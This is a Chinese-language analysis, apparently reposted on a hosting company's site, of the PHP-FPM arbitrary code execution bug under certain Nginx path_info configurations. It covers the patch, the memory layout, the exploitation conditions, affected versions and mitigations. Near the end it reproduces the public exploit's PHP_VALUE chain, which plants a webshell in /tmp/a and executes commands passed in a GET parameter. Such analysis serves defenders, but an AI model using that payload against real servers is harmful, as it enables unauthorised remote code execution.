温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

PHP-FPM在Nginx特定配置下任意代码执行漏洞举例分析

发布时间:2021-11-30 11:24:27 来源:亿速云 阅读:172 作者:iii 栏目:软件技术

本篇内容主要讲解“PHP-FPM在Nginx特定配置下任意代码执行漏洞举例分析”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“PHP-FPM在Nginx特定配置下任意代码执行漏洞举例分析”吧!

漏洞概述

PHP-FPM在Nginx特定配置下存在任意代码执行漏洞。具体为:
使用Nginx + PHP-FPM搭建的服务器在使用类似如下配置的nginx.conf时:

1   location ~ [^/]\.php(/|$) { 2        fastcgi_split_path_info ^(.+?\.php)(/.*)$; 3        fastcgi_param PATH_INFO       $fastcgi_path_info; 4        fastcgi_pass   php:9000; 5        ...

Nginx中fastcgi_split_path_info 在处理存在"\n"(%oA) 的path_info时,会将传递给PHP-FPM的PATH_INFO置为空(PATH_INFO=""),影响关键指针的指向,导致后续path_info[0]=0的置零操作位置可控,通过构造特定长度和内容的请求,可以覆盖写特定位置数据,插入特定环境变量,进而导致代码执行。

漏洞分析

首先,分析其补丁:在进行request_info结构体初始化的static void init_request_info(void)函数中,增添对pilen 和slen的大小校验,规避了指针的非预期回溯移动。

 1    // php-src/sapi/fpm/fpm/fpm_main.c  2    ...  3    if (pt) {  4        while ((ptr = strrchr(pt, '/')) || (ptr = strrchr(pt, '\\'))) {  5            // 对传入PATH_INFO 进行校验。通过判断文件状态,获取真实PATH_INFO  6            *ptr = 0;  7            f (stat(pt, &st) == 0 && S_ISREG(st.st_mode)) {  8            int ptlen = strlen(pt); # Path-translated CONTENT_LENGTH  9            int slen = len - ptlen;  //script length 10            int pilen = env_path_info ? strlen(env_path_info) : 0;  //Path info 长度 0 11            int tflag = 0; 12            char *path_info; 13 14            if (apache_was_here) { 15                /* recall that PATH_INFO won't exist */ 16                path_info = script_path_translated + ptlen; 17                tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0)); 18            } else { 19        -       path_info = env_path_info ? env_path_info + pilen - slen : NULL; // 通过偏移设置新env_path_info,但是未对偏移量做校验 20        -       tflag = (orig_path_info != path_info); 21        +       path_info = (env_path_info && pilen > slen) ? env_path_info + pilen - slen : NULL; 22        +       tflag = path_info && (orig_path_info != path_info); 23            } 24 25            if (tflag) { 26                if (orig_path_info) { 27                char old; 28 29                FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info); 30                old = path_info[0]; 31                path_info[0] = 0; //置零操作 32                if (!orig_script_name || 33                    strcmp(orig_script_name, env_path_info) != 0) { 34                    if (orig_script_name) { 35                        FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);//触发入口 36                    } 37                    SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info); 38                    } else { 39                    SG(request_info).request_uri = orig_script_name; 40                    } 41                    path_info[0] = old; 42                } 43        ...

其中

 1    //以http://localhost/info.php/test?a=b为例  2    PATH_INFO=/test  3    PATH_TRANSLATED=/docroot/info.php/test  4    SCRIPT_NAME=/info.php  5    REQUEST_URI=/info.php/test?a=b  6    SCRIPT_FILENAME=/docroot/info.php  7    QUERY_STRING=a=b  8  9    pt = script_path_translated; // = env_script_filename => "/docroot/info.php/test" 10    len = script_path_translated_len  // 为"/docroot/info.php/test" 11 12    // 经过重新计算处理后 13    int ptlen = strlen(pt); // strlen("/docroot/info.php") 14    int pilen = env_path_info ? strlen(env_path_info) : 0;  // 即len(PATH_INFO) "/test" 15    int slen = len - ptlen;   // len("/test") 16 17    path_info = env_path_info + pilen - slen; // pilen 取值可能未0 或slen, 即偏移为0 或 -N

可见,当PATH_INFO为空时,path_info 指向发生向前偏移,偏移长度为test的长度。进而path_info[0] = 0;可以将特定位置 单字节置零。但是,普通位置的置零并不会造成RCE,进一步利用需要将特定控制位置零,且该控制位恰巧能控制写入位置。request->env->data->pos便是这样一处位置。这里需要说明一下各变量的存储方式。

通过fastcgi协议传入的各环境变量会存储到_fcgi_request->env 这个fcgi_hash结构体中,供后续执行取用,结构具体定义如下:

 1    // php-src/sapi/fpm/fpm/fastcgi.c  2    typedef struct _fcgi_hash_bucket {  3        unsigned int              hash_value;  4        unsigned int              var_len;  5        char                     *var;  6        unsigned int              val_len;  7        char                     *val;  8        struct _fcgi_hash_bucket *next;  9        struct _fcgi_hash_bucket *list_next; 10    } fcgi_hash_bucket; 11 12    typedef struct _fcgi_hash_buckets { 13        unsigned int               idx; 14        struct _fcgi_hash_buckets *next; 15        struct _fcgi_hash_bucket   data[FCGI_HASH_TABLE_SIZE]; 16    } fcgi_hash_buckets; 17 18    typedef struct _fcgi_data_seg { 19        char                  *pos; 20        char                  *end; 21        struct _fcgi_data_seg *next; 22        char                   data[1]; 23    } fcgi_data_seg; 24 25    typedef struct _fcgi_hash { 26        fcgi_hash_bucket  *hash_table[FCGI_HASH_TABLE_SIZE]; 27        fcgi_hash_bucket  *list; 28        fcgi_hash_buckets *buckets; 29        fcgi_data_seg     *data; 30    } fcgi_hash; 31    ... 32    /* hash table */ 33    //初始化操作 34    static void fcgi_hash_init(fcgi_hash *h) 35    { 36        memset(h->hash_table, 0, sizeof(h->hash_table)); 37        h->list = NULL; 38        h->buckets = (fcgi_hash_buckets*)malloc(sizeof(fcgi_hash_buckets)); 39        h->buckets->idx = 0; 40        h->buckets->next = NULL; 41        h->data = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + FCGI_HASH_SEG_SIZE); // 默认分配 (4*8 - 1) + 4096 42        h->data->pos = h->data->data; //指向环境变量初始写入位置 43        h->data->end = h->data->pos + FCGI_HASH_SEG_SIZE; 指向//data_seg末尾 44        h->data->next = NULL; 45    } 46    ...

其中我们主要关注其中的get/set操作,实现如下:

 1    static char *fcgi_hash_get(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, unsigned int *val_len)  2    // 关联 FCGI_GETENV()  3    {  4        unsigned int      idx = hash_value & FCGI_HASH_TABLE_MASK;  5        fcgi_hash_bucket *p = h->hash_table[idx];  6  7        while (p != NULL) {  8        //需要hast_value值相同,var_len相同才能取出值  9            if (p->hash_value == hash_value && 10                p->var_len == var_len && 11                memcmp(p->var, var, var_len) == 0) { 12                *val_len = p->val_len; 13                return p->val; 14            } 15            p = p->next; 16        } 17        return NULL; 18    } 19 20    static char* fcgi_hash_set(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, char *val, unsigned int val_len) 21    // 关联 FCGI_PUTENV() 22    { 23        unsigned int      idx = hash_value & FCGI_HASH_TABLE_MASK;  // 计算hash_value确定 index 24        fcgi_hash_bucket *p = h->hash_table[idx];  //获取原有hash_table中的对应值 25 26        while (UNEXPECTED(p != NULL)) { 27            if (UNEXPECTED(p->hash_value == hash_value) && 28                p->var_len == var_len && 29                memcmp(p->var, var, var_len) == 0) { 30 31                p->val_len = val_len; 32                p->val = fcgi_hash_strndup(h, val, val_len); 33                return p->val; 34            } 35            p = p->next; 36        } 37 38        if (UNEXPECTED(h->buckets->idx >= FCGI_HASH_TABLE_SIZE)) { 39            fcgi_hash_buckets *b = (fcgi_hash_buckets*)malloc(sizeof(fcgi_hash_buckets)); 40            b->idx = 0; 41            b->next = h->buckets; 42            h->buckets = b; 43        } 44 45        p = h->buckets->data + h->buckets->idx; 46        h->buckets->idx++; 47        p->next = h->hash_table[idx]; 48        h->hash_table[idx] = p; 49        p->list_next = h->list; 50        h->list = p; 51 52        p->hash_value = hash_value; 53        p->var_len = var_len; 54        p->var = fcgi_hash_strndup(h, var, var_len); 55        p->val_len = val_len; 56        p->val = fcgi_hash_strndup(h, val, val_len); 57        return p->val; 58    } 59 60    static inline char* fcgi_hash_strndup(fcgi_hash *h, char *str, unsigned int str_len) 61    // 实际操作request->env->data,进行数据写入。 62    { 63        char *ret; 64 65        if (UNEXPECTED(h->data->pos + str_len + 1 >= h->data->end)) { 66        //如果准备写入的数据长度大于当前指向的fcgi_hash_seg大小,则向前插入新的fcgi_hash_seg 67                unsigned int seg_size = (str_len + 1 > FCGI_HASH_SEG_SIZE) ? str_len + 1 : FCGI_HASH_SEG_SIZE;//较长值,不跨越两个seg进行写入。 68                fcgi_data_seg *p = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + seg_size); 69                p->pos = p->data; 70                p->end = p->pos + seg_size; 71                p->next = h->data; 72                h->data = p; 73            } 74 75            ret = h->data->pos; 76            memcpy(ret, str, str_len); //于h->data->pos后写入数据 77            ret[str_len] = 0; 78            h->data->pos += str_len + 1; //后移h->data->pos到新的可写入位置 79            return ret; 80    }

由此,我们可以得出:request->env->data->pos的指向直接影响我们环境变量Key,Value的写入位置,只要我们控制了char* pos的指向,就可能覆盖已有的数据。但是,要想达成RCE还存在以下要求及限制:

  1. 指针前移受当前fcgi_hash_seg空间结构影响,过短无法将char* pos置零,过长会分配到新fcgi_hash_seg空间。(如传递"形如"http://127.0.0.1/Somefile_exits/AAAAA.php/"也可造成指针后移,)

  2. path_info[0] = 0 仅能将单字节置零,最好为最低位,否则会造成指针位置偏离过多。

  3. 鉴于条件 2 被覆盖写的地址最低位应为0,且其后为符合条件的可覆盖的环境变量。

  4. 被覆盖位置环境变量的key必须与预期写入的key满足:var、hash_value和var_len均相同,才可能被读取。

  5. 执行FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);时,分别写入ORIG_SCRIPT_NAMEorig_script_name("ORIG_SCRIPT_NAME/index.php/PHP_VALUE\nAAAAAA")。

相应地,我们可以:

  1. 通过控制query_string的长度,使path_info恰好处于新fcgi_hash_seg的data首位,这时我们仅需移动8+8+8+len("PATH_INFO\0")+N = 34 + N即可完成对char* pos的篡改。满足条件1,2的要求。

  2. 通过自定义http header,操纵request header的长度将预期覆盖的环境变量放置到特定的位置(0x____00+len("ORIG_SCRIPT_NAME")+len("/index.php/"))。满足条件3,5要求。(在NGINX中,HTTP中的请求头会以"HTTP_XXX"的形式传入PHP-FPM,随后写入到request-env中)

  3. Exp作者提供了EBUT这个自定义头,其env变量名HTTP_EBUT 与PHP_VALUE在长度和hash_value方面相等,且PHP_VALUE会在后续处理中被尝试读取(ini = FCGI_GETENV(request, "PHP_VALUE");)。满足条件4的要求。

PHP-FPM在Nginx特定配置下任意代码执行漏洞举例分析

除此之外,鉴于PATH_INFO重新取值部分逻辑主要是处理PATH_INFO与真实path_info不同的情况,对开头提及的nginx配置项,存在一种情况,发起形如http://localhost/index/info.php/test?a=b的url,可以构造以下场景

 1    //以http://localhost/index/info.php/test?a=b为例,index为存在的文件  2    PATH_INFO=/test  3    PATH_TRANSLATED=/docroot/index/info.php/test  4    SCRIPT_NAME=/index/info.php  5    REQUEST_URI=/index/info.php/test?a=b  6    SCRIPT_FILENAME=/docroot/index/info.php  7    QUERY_STRING=a=b  8  9    pt = script_path_translated; // = env_script_filename => "/docroot/index/info.php/test" 10    len = script_path_translated_len  // 为"/docroot/index/info.php/test" 11 12    // 经过重新计算处理后 13    int ptlen = strlen(pt); // strlen("/docroot/index") 14    int pilen = env_path_info ? strlen(env_path_info) : 0;  // 即len(PATH_INFO) "/test" 15    int slen = len - ptlen;   // len("/info.php/test ") 16 17    path_info = env_path_info + pilen - slen;  // pilen < slen, 即偏移为-N

此时URL中无需存在%0A,亦可完成指针移位,漏洞过程与上述类似,但是因为script_name无效,无法直观显示攻击状态,利用难度较高,不再赘述。

path_info指向了request->env->data->pos后的内存布局

PHP-FPM在Nginx特定配置下任意代码执行漏洞举例分析

漏洞利用

Exp作者利用PHP_VALUE向PHP传递多个环境变量,使PHP产生错误,以错误日志的形式将webshell输出到/tmp/a,并通过auto_prepend_file自动执行/tmp/a中的恶意代码,达成getshell。

 1    var chain = []string{  2        "short_open_tag=1", //开启php短标签  3        "html_errors=0",   // 在错误信息中关闭HTML标签。  4        "include_path=/tmp",  //包含路径  5        "auto_prepend_file=a",  //指定脚本执行前自动包含的文件,功能类似require()。  6        "log_errors=1",  //使能错误日志  7        "error_reporting=2",   //指定错误级别  8        "error_log=/tmp/a",  //错误日志记录文件  9        "extension_dir=\"<?=\`\"",   //指定extension的加载目录 10        "extension=\"$_GET[a]\`?>\"", //指定加载的extension 11    }

影响范围

在文初提到的配置下,该漏洞影响以下版本的PHP:
7.1.x < 7.1.33
7.2.x < 7.2.24
7.3.x < 7.3.11

漏洞修复

可以通过 Nginx 增添配置try_files %uri = 404php设置cgi.fix_pathinfo=0选项,临时规避漏洞影响。也可以选择使用官方已经释出的更新进行完全修复。

到此,相信大家对“PHP-FPM在Nginx特定配置下任意代码执行漏洞举例分析”有了更深的了解,不妨来实际操作一番吧!这里是亿速云网站,更多相关内容可以进入相关频道进行查询,关注我们,继续学习!

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI